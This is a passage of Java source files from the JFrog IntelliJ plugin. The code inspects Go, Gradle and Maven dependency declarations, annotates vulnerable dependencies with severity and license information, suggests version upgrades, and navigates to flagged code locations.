@param element - The Psi element in the package descriptor * @return true if it should show annotation icon. */ boolean showAnnotationIcon(PsiElement element) { return true; } /** * Determine whether to apply the inspection on the Psi element. * * @param element - The Psi element in the package descriptor * @return true if and only if the element is a dependency and the plugin is ready to show inspection for it */ boolean isShowInspection(PsiElement element) { Project project = element.getProject(); ToolWindow toolWindow = ToolWindowManager.getInstance(project).getToolWindow("JFrog"); if (toolWindow == null) { return false; // Tool window not yet activated } VirtualFile editorFile = element.getContainingFile().getVirtualFile(); if (editorFile == null || editorFile.getParent() == null || !editorFile.getPath().endsWith(packageDescriptorName)) { return false; // File is not a package descriptor file } ScannerBase scanner = getScanner(project, editorFile.getParent().getPath()); if (scanner == null) { return false; // Scan manager for this project not yet created } return isDependency(element); } /** * Get all dependencies in the tree that relevant to the element. * * @param element - The Psi element in the package descriptor * @return all dependencies in the dependency tree that relevant to the element */ List getDependencies(PsiElement element, String componentName) { if (!isShowInspection(element)) { return null; // Inspection is not needed for this element } Set filesNodes = getFileDescriptors(element); if (filesNodes == null) { return null; // No files descriptors found for this element } return filesNodes.stream() .map(descriptorFile -> getMatchDependencies(descriptorFile, componentName)) .flatMap(Collection::stream) .collect(Collectors.toList()); } /** * Get the dependencies that match to the input componentName. * * @param file - The Descriptor file node in the tree * @param componentName - Component name representing a dependency without version * @return the dependencies node that match to the input general info */ private List getMatchDependencies(DescriptorFileTreeNode file, String componentName) { List dependencies = new ArrayList<>(); for (DependencyNode dependency : file.getDependencies()) { if (isNodeMatch(dependency, componentName)) { dependencies.add(dependency); } } return dependencies; } /** * Compare the component name from the Psi element and the dependency node from the Dependency tree. * * @param node - the dependency node from the dependency tree * @param componentName - Component name representing a dependency without version * @return true if the node matches the component name */ boolean isNodeMatch(DependencyNode node, String componentName) { String artifactID = node.getComponentIdWithoutPrefix(); ImpactTree impactTree = node.getImpactTree(); String versionPrefix = ":"; return StringUtils.equals(extractArtifactIdWithoutVersion(artifactID), componentName) || impactTree.contains(componentName+versionPrefix); } abstract UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection issues, String descriptorPath); void registerProblem(ProblemsHolder problemsHolder, DependencyNode dependency, PsiElement element, String componentName) { boolean isTransitive = dependency.isIndirect() || !StringUtils.contains(dependency.getTitle(), componentName); String dependencyDescription = getDependencyDescription(dependency.getTitle(), isTransitive); List quickFixes = new ArrayList<>(); quickFixes.add(new ShowInDependencyTree(dependency, dependencyDescription)); if (!isTransitive) { Multimap fixVersionToCves = ArrayListMultimap.create(); dependency.children().asIterator().forEachRemaining(issueNode -> { List fixVersionStrings = ListUtils.emptyIfNull(((VulnerabilityNode) issueNode).getFixedVersions()); for (String fixVersionString : fixVersionStrings) { String fixVersion = convertFixVersionStringToMinFixVersion(fixVersionString); fixVersionToCves.put(fixVersion, issueNode.toString()); } }); String descriptorPath = element.getContainingFile().getVirtualFile().getPath(); fixVersionToCves.asMap().forEach((fixedVersion, issues) -> { UpgradeVersion upgradeVersion = getUpgradeVersion(dependency.getArtifactId(), fixedVersion, issues, descriptorPath); quickFixes.add(upgradeVersion); }); } problemsHolder.registerProblem( element, "JFrog: " + dependencyDescription + " has security vulnerabilities", ProblemHighlightType.WARNING, quickFixes.toArray(LocalQuickFix[]::new) ); } private String getDependencyDescription(String depComponent, boolean isTransitive) { String description = "dependency <" + depComponent + ">"; if (isTransitive) { description = "transitive " + description; } return description; } protected static String convertFixVersionStringToMinFixVersion(String fixVersionString) { // Possible fix version string formats: // 1.0 >> 1.0 // (,1.0] >> N/A // (,1.0) >> N/A // [1.0] >> 1.0 // (1.0,) >> N/A // (1.0, 2.0) >> N/A // [1.0, 2.0] >> 1.0 String fixVersion = fixVersionString.trim().split(",")[0]; if (fixVersion.charAt(0) == '(') { // If first character is '(' then we can't tell what's the minimal fix version return ""; } fixVersion = StringUtils.strip(fixVersion, "["); fixVersion = StringUtils.strip(fixVersion, "]"); return fixVersion; } private String extractArtifactIdWithoutVersion(String artifact) { int versionIndex = artifact.lastIndexOf(':'); if (versionIndex != -1) { return artifact.substring(0, versionIndex); } else { return artifact; } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/AnnotationIconRenderer.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.editor.markup.GutterIconRenderer; import com.intellij.openapi.project.Project; import com.intellij.util.ui.tree.TreeUtil; import com.jfrog.ide.common.nodes.subentities.Severity; import com.jfrog.ide.idea.ui.LocalComponentsTree; import com.jfrog.ide.idea.ui.utils.IconUtils; import com.jfrog.ide.idea.utils.Utils; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import javax.swing.*; import javax.swing.tree.DefaultMutableTreeNode; import java.util.Objects; /** * Represents the icon near the dependencies in the package descriptor file. * * @author yahavi **/ public class AnnotationIconRenderer extends GutterIconRenderer { private final DefaultMutableTreeNode node; private final String tooltipText; private final Icon icon; private Project project; public AnnotationIconRenderer(DefaultMutableTreeNode node, Severity severity, String tooltipText) { this.node = node; this.tooltipText = tooltipText; this.icon = IconUtils.load(StringUtils.lowerCase(severity.toString())); } public void setProject(Project project) { this.project = project; } @Override public boolean equals(Object obj) { if (!(obj instanceof AnnotationIconRenderer)) { return false; } return Objects.equals(icon, ((AnnotationIconRenderer) obj).getIcon()); } @Override public int hashCode() { return Objects.hashCode(icon); } @Override public @NotNull Icon getIcon() { return icon; } @Override public @Nullable String getTooltipText() { return tooltipText; } @Override public @Nullable AnAction getClickAction() { return new AnAction() { @Override public void actionPerformed(@NotNull AnActionEvent e) { Utils.focusJFrogToolWindow(project); TreeUtil.selectInTree(project, node, true, LocalComponentsTree.getInstance(project), true); } }; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/AnnotationUtils.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.lang.annotation.AnnotationBuilder; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.psi.PsiElement; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.subentities.License; import java.util.List; import java.util.stream.Collectors; import static com.intellij.lang.annotation.HighlightSeverity.INFORMATION; /** * @author yahavi */ public class AnnotationUtils { /** * Register "Top issue" and "Licenses" annotations. * * @param annotationHolder - The annotations will be registered in this container * @param dependency - The dependency tree node correlated to the element * @param element - The element to apply the annotations * @param showIcon - True if should add annotation icon */ static void registerAnnotation(AnnotationHolder annotationHolder, DependencyNode dependency, PsiElement element, boolean showIcon) { String licensesString = getLicensesString(dependency); String topIssue = getTopIssueString(dependency); AnnotationIconRenderer iconRenderer = showIcon ? new AnnotationIconRenderer(dependency, dependency.getSeverity(), topIssue) : null; try { AnnotationBuilder builder = annotationHolder.newAnnotation(INFORMATION, topIssue).range(element); if (showIcon) { iconRenderer.setProject(element.getProject()); builder = builder.gutterIconRenderer(iconRenderer); } builder.create(); annotationHolder.newAnnotation(INFORMATION, licensesString).range(element).create(); } catch (IllegalArgumentException e) { // Exception is thrown when the element we register the annotation for is out of bound of the // containing element exists in the provided annotationHolder. // This scenario may occur during a gradle-inspections. } } /** * Get the top issue string. * * @param node - The dependency tree node * @return the top issue string */ private static String getTopIssueString(DependencyNode node) { return "Top issue severity: " + node.getSeverity(); } /** * Get licenses string * * @param node - The dependency tree node * @return licenses string */ private static String getLicensesString(DependencyNode node) { String results = "Licenses: "; List licensesStrings = node.getLicenses().stream().map(License::getName).collect(Collectors.toList()); if (licensesStrings.isEmpty()) { return results + "Unknown"; } return results + String.join(", ", licensesStrings); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/GoInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.goide.vgo.mod.psi.VgoModuleSpec; import com.goide.vgo.mod.psi.VgoRequireDirective; import com.goide.vgo.mod.psi.VgoVisitor; import com.intellij.codeInspection.ProblemsHolder; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiElementVisitor; import com.jfrog.ide.idea.inspections.upgradeversion.GoUpgradeVersion; import com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion; import com.jfrog.ide.idea.scan.ScanManager; import com.jfrog.ide.idea.scan.ScannerBase; import com.jfrog.ide.idea.utils.Descriptor; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import java.util.Collection; /** * Created by Bar Belity on 17/02/2020. */ public class GoInspection extends AbstractInspection { public GoInspection() { super(Descriptor.GO); } @NotNull @Override public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) { return new VgoVisitor() { @Override public void visitModuleSpec(@NotNull VgoModuleSpec element) { super.visitPsiElement(element); GoInspection.this.visitElement(holder, element, isOnTheFly); } }; } @Override public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) { if (element instanceof VgoModuleSpec) { GoInspection.this.visitElement(holder, element); } } @Override boolean isDependency(PsiElement element) { PsiElement parentElement = element.getParent(); return parentElement instanceof VgoRequireDirective; } @Override ScannerBase getScanner(Project project, String path) { return ScanManager.getScanners(project).stream() .filter(manager -> StringUtils.equals(manager.getProjectPath(), path)) .findAny() .orElse(null); } @Override String createComponentName(PsiElement element) { VgoModuleSpec goElement = ((VgoModuleSpec) element); if (goElement.getModuleVersion() != null) { String version = goElement.getModuleVersion().getText(); // String leading "v" from version version = StringUtils.strip(version, "v"); return String.join(":", goElement.getIdentifier().getText(), version); } return ""; } @Override UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { return new GoUpgradeVersion(componentName, fixVersion, issue, descriptorPath); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/GradleGroovyInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.codeInspection.ProblemsHolder; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiElementVisitor; import com.jfrog.ide.idea.inspections.upgradeversion.GradleGroovyUpgradeVersion; import com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion; import com.jfrog.ide.idea.utils.Descriptor; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.plugins.groovy.lang.psi.GroovyElementVisitor; import org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElement; import org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElementVisitor; import org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrArgumentList; import org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrNamedArgument; import org.jetbrains.plugins.groovy.lang.psi.api.statements.expressions.GrExpression; import org.jetbrains.plugins.groovy.lang.psi.api.statements.expressions.literals.GrLiteral; import org.jetbrains.plugins.groovy.lang.psi.api.util.GrNamedArgumentsOwner; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.Objects; /** * @author yahavi */ public class GradleGroovyInspection extends GradleInspection { public static final String GRADLE_GROUP_KEY = "group"; public static final String GRADLE_NAME_KEY = "name"; public static final String GRADLE_VERSION_KEY = "version"; public GradleGroovyInspection() { super(Descriptor.GRADLE_GROOVY); } /** * Get the string value of the groovy literal. * * @param literal - The groovy literal * @return the value of the literal */ public static String getLiteralValue(GrLiteral literal) { String artifact = Objects.toString((literal).getValue(), ""); int versionIndex = artifact.lastIndexOf(':'); if (versionIndex == -1) { return artifact; } return artifact.substring(0, versionIndex); } public static boolean isNamedArgumentComponent(PsiElement element) { return (element instanceof GrNamedArgumentsOwner && ((GrNamedArgumentsOwner) element).getNamedArguments().length >= 3); } @NotNull @Override public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) { return new GroovyPsiElementVisitor(new GroovyElementVisitor() { @Override public void visitArgumentList(@NotNull GrArgumentList list) { super.visitArgumentList(list); List elementsToVisit = parseComponentElements(list); for (GroovyPsiElement elementToVisit : elementsToVisit) { GradleGroovyInspection.this.visitElement(holder, elementToVisit, isOnTheFly); } } }); } @Override boolean isDependency(PsiElement element) { PsiElement parent = element.getParent(); for (int i = 0; i < 6; i++, parent = parent.getParent()) { if (StringUtils.startsWith(parent.getText(), "dependencies")) { return true; } } return false; } @Override public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) { if (element instanceof GrArgumentList) { List elementsToVisit = parseComponentElements((GrArgumentList) element); for (GroovyPsiElement elementToVisit : elementsToVisit) { GradleGroovyInspection.this.visitElement(holder, elementToVisit); } } } List parseComponentElements(GrArgumentList element) { List elementsToVisit = new ArrayList<>(); if (isNamedArgumentComponent(element)) { // Example: implementation group: 'j', name: 'k', version: 'l' elementsToVisit.add(element); } else { // Example: // implementation([group: 'net.lingala.zip4j', name: 'zip4j', version: '2.3.0'], // [group: 'org.codehaus.groovy', name: 'groovy-all', version: '3.0.5']) // OR // implementation("org.codehaus.groovy:groovy-all:3.0.5") // OR // implementation 'net.lingala.zip4j:zip4j:2.3.0', // 'org.codehaus.groovy:groovy-all:3.0.5' for (GroovyPsiElement subElement : element.getAllArguments()) { if (isNamedArgumentComponent(subElement) || (subElement instanceof GrLiteral)) { elementsToVisit.add(subElement); } else if (subElement.getChildren().length > 0 && subElement.getChildren()[0] instanceof GrLiteral) { elementsToVisit.add((GrLiteral) subElement.getChildren()[0]); } } } return elementsToVisit; } @Override String createComponentName(PsiElement element) { if (isNamedArgumentComponent(element)) { // implementation group: 'j', name: 'k', version: 'l' return String.join(":", extractExpression(element, GRADLE_GROUP_KEY), extractExpression(element, GRADLE_NAME_KEY)); } if (element instanceof GrLiteral) { // implementation 'g:h:i' return getLiteralValue((GrLiteral) element); } return ""; } /** * Extract expression from groovy arguments. * * @param argumentList - The arguments list * @param name - The name of the argument to extract * @return the value of the argument */ private String extractExpression(PsiElement argumentList, String name) { GrNamedArgument argument = ((GrNamedArgumentsOwner) argumentList).findNamedArgument(name); if (argument == null) { return ""; } GrExpression grExpression = argument.getExpression(); if (grExpression == null) { return ""; } if (!(grExpression instanceof GrLiteral)) { return ""; } return getLiteralValue((GrLiteral) grExpression); } @Override UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { return new GradleGroovyUpgradeVersion(componentName, fixVersion, issue); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/GradleInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.openapi.editor.Document; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import com.jfrog.ide.idea.scan.GradleScanner; import com.jfrog.ide.idea.scan.ScanManager; import com.jfrog.ide.idea.scan.ScannerBase; import com.jfrog.ide.idea.utils.Descriptor; import org.apache.commons.lang3.StringUtils; /** * @author yahavi */ public abstract class GradleInspection extends AbstractInspection { private int lastAnnotatedLine; public GradleInspection(Descriptor descriptor) { super(descriptor); } @Override ScannerBase getScanner(Project project, String path) { return ScanManager.getScanners(project).stream() .filter(GradleScanner.class::isInstance) .findAny() .orElse(null); } @Override boolean showAnnotationIcon(PsiElement element) { Document document = element.getContainingFile().getViewProvider().getDocument(); boolean showAnnotationIcon = true; if (document != null) { int currentLine = document.getLineNumber(element.getTextOffset()); showAnnotationIcon = currentLine != lastAnnotatedLine; lastAnnotatedLine = currentLine; } return showAnnotationIcon; } public static String stripVersion(String componentId) { if (StringUtils.countMatches(componentId, ":") >= 2) { // implementation('a:b:c') String[] splitComponent = componentId.split(":"); componentId = splitComponent[0] + ":" + splitComponent[1]; } return componentId; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/GradleKotlinInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.codeInspection.ProblemsHolder; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiElementVisitor; import com.jfrog.ide.idea.inspections.upgradeversion.GradleKotlinUpgradeVersion; import com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion; import com.jfrog.ide.idea.utils.Descriptor; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.kotlin.psi.*; import java.util.Collection; import java.util.List; /** * Each dependency in Gradle-Kotlin is a function call with at least one argument. * Examples: * compile("a:b:c") * testCompile("d", "e", "f") * implementation(project(":project")) // Subproject dependencies start with ":" * * @author yahavi */ public class GradleKotlinInspection extends GradleInspection { public GradleKotlinInspection() { super(Descriptor.GRADLE_KOTLIN); } @NotNull @Override public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) { return new KtVisitorVoid() { @Override public void visitValueArgumentList(@NotNull KtValueArgumentList list) { // Verify that the visited file is a build.gradle.kts file if (((KtFile) list.getContainingFile()).isScript()) { GradleKotlinInspection.this.visitElement(holder, list, isOnTheFly); } } }; } @Override public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) { if (element instanceof KtValueArgumentList && ((KtFile) element.getContainingFile()).isScript()) { GradleKotlinInspection.this.visitElement(holder, element); } } @Override boolean isDependency(PsiElement element) { List argumentList = ((KtValueArgumentList) element).getArguments(); if (argumentList.isEmpty() || !(argumentList.get(0).getArgumentExpression() instanceof KtStringTemplateExpression)) { return false; } // Make sure the element is under "dependencies" scope for (PsiElement parent = element.getParent(); parent != null; parent = parent.getParent()) { if (!(parent instanceof KtCallExpression)) { continue; } KtExpression expression = ((KtCallExpression) parent).getCalleeExpression(); if (expression != null && "dependencies".equals(expression.getText())) { return true; } } return false; } @Override String createComponentName(PsiElement element) { if (!(element instanceof KtValueArgumentList)) { return ""; } List argumentList = ((KtValueArgumentList) element).getArguments(); if (argumentList.size() == 1) { // "commons-collections:commons-collections:3.2.2" String artifactId = extractArgument(argumentList.get(0)); return StringUtils.substringBeforeLast(artifactId, ":"); } if (argumentList.size() >= 3) { // "commons-collections", "commons-collections" return String.join(":", extractArgument(argumentList.get(0)), extractArgument(argumentList.get(1)) ); } return ""; } /** * Extract argument text from Kotlin argument. * * @param ktValueArgument - The arguments list * @return the value of the argument */ private String extractArgument(KtValueArgument ktValueArgument) { // Remove quotes String value = ktValueArgument.getText().replaceAll("\"", ""); // Remove '@' suffix, for example commons-lang:commons-lang:2.4@jar return StringUtils.substringBefore(value, "@"); } @Override UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { return new GradleKotlinUpgradeVersion(componentName, fixVersion, issue); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/JFrogSecurityAnnotator.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.lang.annotation.ExternalAnnotator; import com.intellij.lang.annotation.HighlightSeverity; import com.intellij.openapi.editor.Document; import com.intellij.openapi.editor.Editor; import com.intellij.openapi.util.TextRange; import com.intellij.openapi.util.text.StringUtil; import com.intellij.psi.PsiDocumentManager; import com.intellij.psi.PsiFile; import com.jfrog.ide.common.nodes.FileIssueNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.SortableChildrenTreeNode; import com.jfrog.ide.idea.events.AnnotationEvents; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.LocalComponentsTree; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import javax.swing.tree.TreeNode; import java.util.ArrayList; import java.util.Enumeration; import java.util.List; import java.util.Objects; /** * General Annotator for JFrog security source code issues (for Example: applicable CVE) * The annotator receives the JFrogSecurityWarning data from the most recent scan. * * @author Tal Arian */ public class JFrogSecurityAnnotator extends ExternalAnnotator> { @NotNull private static final HighlightSeverity HIGHLIGHT_TYPE = HighlightSeverity.WARNING; @Nullable @Override public PsiFile collectInformation(@NotNull PsiFile file, @NotNull Editor editor, boolean hasErrors) { return file; } @Nullable @Override public List doAnnotate(PsiFile file) { List issues = new ArrayList<>(); ComponentsTree componentsTree = LocalComponentsTree.getInstance(file.getProject()); if (componentsTree == null || componentsTree.getModel() == null) { return null; } Enumeration roots = ((SortableChildrenTreeNode) componentsTree.getModel().getRoot()).children(); roots.asIterator().forEachRemaining(root -> { FileTreeNode fileNode = (FileTreeNode) root; if (fileNode.getFilePath().equals(file.getContainingFile().getVirtualFile().getPath())) { fileNode.children().asIterator().forEachRemaining(issueNode -> { if (issueNode instanceof FileIssueNode) { issues.add((FileIssueNode) issueNode); } } ); } }); return issues; } @Override public void apply(@NotNull PsiFile file, List warnings, @NotNull AnnotationHolder holder) { Document document = PsiDocumentManager.getInstance(file.getProject()).getDocument(file); if (document == null) { return; } warnings.stream().filter(Objects::nonNull).forEach(warning -> { int startOffset = StringUtil.lineColToOffset(file.getText(), warning.getRowStart(), warning.getColStart()); int endOffset = StringUtil.lineColToOffset(file.getText(), warning.getRowEnd(), warning.getColEnd()); AnnotationIconRenderer iconRenderer = new AnnotationIconRenderer(warning, warning.getSeverity(), ""); iconRenderer.setProject(file.getProject()); TextRange range = new TextRange(startOffset, endOffset); String lineText = document.getText(range); // If the file has been update after the scan and the relevant line is affected, // no annotation will be added. if (lineText.contains(warning.getLineSnippet())) { holder.newAnnotation(HIGHLIGHT_TYPE, "\uD83D\uDC38 JFrog [" + warning.getTitle() + "]: " + warning.getReason()) .range(range) .gutterIconRenderer(iconRenderer) .create(); } // Notify outdated scan result else { file.getProject().getMessageBus().syncPublisher(AnnotationEvents.ON_IRRELEVANT_RESULT).update(warning.getFilePath()); } }); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/JFrogSecurityWarning.java ================================================ package com.jfrog.ide.idea.inspections; import com.jfrog.ide.common.nodes.subentities.FindingInfo; import com.jfrog.ide.common.nodes.subentities.Severity; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.scan.data.*; import lombok.Getter; import java.net.URI; import java.nio.file.Paths; import java.util.List; @Getter public class JFrogSecurityWarning { private final int lineStart; private final int colStart; private final int lineEnd; private final int colEnd; private final String reason; private final String filePath; private final String lineSnippet; private String scannerSearchTarget; private final String ruleID; private final SourceCodeScanType reporter; private final Severity severity; private final FindingInfo[][] codeFlows; private final boolean isApplicable; public JFrogSecurityWarning( int lineStart, int colStart, int lineEnd, int colEnd, String reason, String filePath, String ruleID, String lineSnippet, SourceCodeScanType reporter, boolean isApplicable, Severity severity, FindingInfo[][] codeFlows ) { this.lineStart = lineStart; this.colStart = colStart; this.lineEnd = lineEnd; this.colEnd = colEnd; this.reason = reason; this.filePath = filePath; this.ruleID = ruleID; this.lineSnippet = lineSnippet; this.reporter = reporter; this.isApplicable = isApplicable; this.severity = severity; this.codeFlows = codeFlows; } public JFrogSecurityWarning(SarifResult result, SourceCodeScanType reporter, Rule rule) { this(getFirstRegion(result).getStartLine() - 1, getFirstRegion(result).getStartColumn() - 1, getFirstRegion(result).getEndLine() - 1, getFirstRegion(result).getEndColumn() - 1, determineReason(result.getMessage().getText(), rule.getShortDescription().getText(), reporter), getFilePath(result), result.getRuleId(), getFirstRegion(result).getSnippet().getText(), reporter, isWarningApplicable(result, rule), Severity.fromSarif(result.getSeverity()), convertCodeFlowsToFindingInfo(result.getCodeFlows()) ); } private static boolean isWarningApplicable(SarifResult result, Rule rule) { return !result.getKind().equals("pass") && (rule.getRuleProperties().map(properties -> properties.getApplicability().equals("applicable")).orElse(true)); } private static String getFilePath(SarifResult result) { return !result.getLocations().isEmpty() ? uriToPath(result.getLocations().get(0).getPhysicalLocation().getArtifactLocation().getUri()) : ""; } private static FindingInfo[][] convertCodeFlowsToFindingInfo(List codeFlows) { if (codeFlows == null || codeFlows.isEmpty()) { return null; } List flows = codeFlows.get(0).getThreadFlows(); if (flows == null || flows.isEmpty()) { return null; } FindingInfo[][] results = new FindingInfo[flows.size()][]; for (int i = 0; i < flows.size(); i++) { ThreadFlow flow = flows.get(i); List locations = flow.getLocations(); results[i] = new FindingInfo[locations.size()]; for (int j = 0; j < locations.size(); j++) { PhysicalLocation location = locations.get(j).getLocation().getPhysicalLocation(); results[i][j] = new FindingInfo( uriToPath(location.getArtifactLocation().getUri()), location.getRegion().getStartLine(), location.getRegion().getStartColumn(), location.getRegion().getEndLine(), location.getRegion().getEndColumn(), location.getRegion().getSnippet().getText() ); } } return results; } public static JFrogSecurityWarning notApplicable(String ruleId, SourceCodeScanType reporter) { return new JFrogSecurityWarning(0, 0, 0, 0, "", "", ruleId, "", reporter, false, Severity.Unknown, null); } public boolean isApplicable() { return this.isApplicable; } private static Region getFirstRegion(SarifResult result) { Region emptyRegion = new Region(); emptyRegion.setSnippet(new Message()); return !result.getLocations().isEmpty() ? result.getLocations().get(0).getPhysicalLocation().getRegion() : emptyRegion; } public void setScannerSearchTarget(String scannerSearchTarget) { this.scannerSearchTarget = scannerSearchTarget; } private static String uriToPath(String path) { return Paths.get(URI.create(path)).toString(); } private static String determineReason(String resultMessage, String ruleMessage, SourceCodeScanType scannerType) { return scannerType.equals(SourceCodeScanType.SAST) ? ruleMessage : resultMessage; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/JumpToCode.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.editor.Document; import com.intellij.openapi.editor.Editor; import com.intellij.openapi.editor.ScrollType; import com.intellij.openapi.editor.SelectionModel; import com.intellij.openapi.editor.markup.HighlighterTargetArea; import com.intellij.openapi.fileEditor.FileEditorManager; import com.intellij.openapi.project.Project; import com.intellij.openapi.util.text.StringUtil; import com.intellij.openapi.vfs.LocalFileSystem; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiFile; import com.intellij.psi.util.PsiUtilBase; import org.jetbrains.annotations.NotNull; /** * The JumpToCode class is responsible for navigating to a specific location in a code file * and highlighting the corresponding code. */ public class JumpToCode { Project project; FileEditorManager fileEditorManager; /** * Constructs a new {@code JumpToCode} with the provided project. * * @param project The current project. */ private JumpToCode(@NotNull Project project) { this.project = project; fileEditorManager = FileEditorManager.getInstance(project); } public static JumpToCode getInstance(@NotNull Project project) { return project.getService(JumpToCode.class); } /** * Executes the jump to code operation by opening the file in the editor and highlighting the specified code range. * * @param filePath The path of the file to navigate to. * @param startRow The starting row of the code range. * @param endRow The ending row of the code range. * @param startColumn The starting column of the code range. * @param endColumn The ending column of the code range. */ public void execute(String filePath, int startRow, int endRow, int startColumn, int endColumn) { if (this.project == null || this.fileEditorManager == null) return; VirtualFile file = getVirtualFile(filePath); if (file == null) return; ApplicationManager.getApplication().invokeLater(() -> { openFileInEditor(file); highlightCode(startRow, endRow, startColumn, endColumn); }); } private void openFileInEditor(VirtualFile file) { fileEditorManager.openFile(file, true); } private void highlightCode(int startRow, int endRow, int startColumn, int endColumn) { Editor editor = fileEditorManager.getSelectedTextEditor(); if (editor == null) return; Document document = getDocument(editor); if (document == null) return; int startOffset = getOffset(document, startRow, startColumn); int endOffset = getOffset(document, endRow, endColumn); highlightCode(editor, startOffset, endOffset); scrollToHighlightedCode(editor, startOffset); } private VirtualFile getVirtualFile(String path) { return LocalFileSystem.getInstance().findFileByPath(path); } private Document getDocument(Editor editor) { PsiFile psiFile = PsiUtilBase.getPsiFileInEditor(editor, project); if (psiFile == null) return null; return psiFile.getViewProvider().getDocument(); } private int getOffset(Document document, int row, int column) { return StringUtil.lineColToOffset(document.getText(), row, column); } private void highlightCode(Editor editor, int startOffset, int endOffset) { SelectionModel selectionModel = editor.getSelectionModel(); selectionModel.setSelection(startOffset, endOffset); editor.getMarkupModel().addRangeHighlighter(startOffset, endOffset, 0, null, HighlighterTargetArea.EXACT_RANGE); } private void scrollToHighlightedCode(Editor editor, int startOffset) { editor.getCaretModel().moveToOffset(startOffset); editor.getScrollingModel().scrollToCaret(ScrollType.CENTER); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/MavenInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.codeInspection.ProblemsHolder; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiElementVisitor; import com.intellij.psi.XmlElementVisitor; import com.intellij.psi.impl.source.xml.XmlTagImpl; import com.intellij.psi.xml.XmlTag; import com.intellij.util.xml.DomElement; import com.intellij.util.xml.DomManager; import com.jfrog.ide.idea.inspections.upgradeversion.MavenUpgradeVersion; import com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion; import com.jfrog.ide.idea.scan.MavenScanner; import com.jfrog.ide.idea.scan.ScanManager; import com.jfrog.ide.idea.scan.ScannerBase; import com.jfrog.ide.idea.utils.Descriptor; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.idea.maven.dom.model.MavenDomArtifactCoordinates; import java.util.Collection; /** * @author yahavi */ public class MavenInspection extends AbstractInspection { public static final String MAVEN_DEPENDENCY_MANAGEMENT = "dependencyManagement"; public static final String MAVEN_DEPENDENCIES_TAG = "dependencies"; public static final String MAVEN_PLUGINS_TAG = "plugins"; public static final String MAVEN_DEPENDENCY_TAG = "dependency"; public static final String MAVEN_PLUGIN_TAG = "plugin"; public static final String MAVEN_ARTIFACT_ID_TAG = "artifactId"; public static final String MAVEN_GROUP_ID_TAG = "groupId"; public MavenInspection() { super(Descriptor.MAVEN); } @NotNull @Override public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) { return new XmlElementVisitor() { @Override public void visitXmlTag(@NotNull XmlTag element) { if (isDependencyOrPlugin(element)) { MavenInspection.this.visitElement(holder, element, isOnTheFly); } } }; } @Override public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) { if (element instanceof XmlTag && isDependencyOrPlugin((XmlTag) element)) { MavenInspection.this.visitElement(holder, element); } } boolean 